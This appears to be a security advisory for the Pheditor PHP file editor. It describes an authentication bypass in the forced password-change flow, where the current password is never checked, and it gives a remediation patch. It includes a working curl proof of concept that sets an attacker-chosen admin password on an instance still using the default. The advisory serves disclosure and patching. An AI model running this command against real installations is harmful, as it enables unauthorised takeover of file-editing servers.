Packagist · pheditor/pheditor
Pheditor: Authentication Bypass in Forced Password-Change Flow via Unverified Current Password
The forced password-change flow, triggered when the stored password is still the default (admin), does not verify that the password submitted by the client actually matches the current password. Any non-empty value in pheditor_password is enough to reach the password-change form, and submitting pheditor_new_password / pheditor_confirm_password in the same request is enough to set an arbitrary new password and obtain an authenticated session — without ever proving knowledge of the current password.
pheditor.php line 163:
if (PASSWORD == hash('sha512', 'admin')) { // still default — force change prompt
This checks whether the stored PASSWORD constant is still the default value. It does not check whether the submitted pheditor_password matches it. As a result, on any instance that hasn't changed the default password, the check passes regardless of what the client actually sends, and the subsequent password-change branch is reachable without authentication.
TARGET="https://victim.com/pheditor.php"
# Any non-empty value works here — password is never actually verified
curl -c /tmp/j.txt \
-d 'pheditor_password=anything' \
-d 'pheditor_new_password=attacker123' \
-d 'pheditor_confirm_password=attacker123' \
"$TARGET" -L -s -o /dev/null
# Session is now authenticated as admin, with the password changed to attacker123
On any instance where the default password has not yet been changed, an unauthenticated attacker can set an arbitrary new admin password and obtain a fully authenticated session, without knowing the current password. This is a complete authentication bypass, not merely "default credentials in use" — it holds even if the operator believes the instance is protected because the login form is present.
Verify the submitted password against the stored PASSWORD constant before entering the forced password-change branch, so the flow is reachable only by someone who actually knows the current password:
$submitted_hash = hash('sha512', $_POST['pheditor_password']);
if (PASSWORD == hash('sha512', 'admin') && $submitted_hash === PASSWORD) {
// proceed to forced password-change flow
} else {
// treat as a normal login attempt (including rate-limiting)
}
The original report submitted alongside this finding also included two additional items:
save/newfile action). Documented explicitly in the README's new Security Model section.php -r ...) — a duplicate of a previously reported and already-patched issue (GHSA-g3hq-hphg-8fhh, fixed in v2.0.7).This advisory has been scoped to the authentication bypass specifically, since it's a distinct root cause from both of those. Full responses to all three points are in the comments below.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.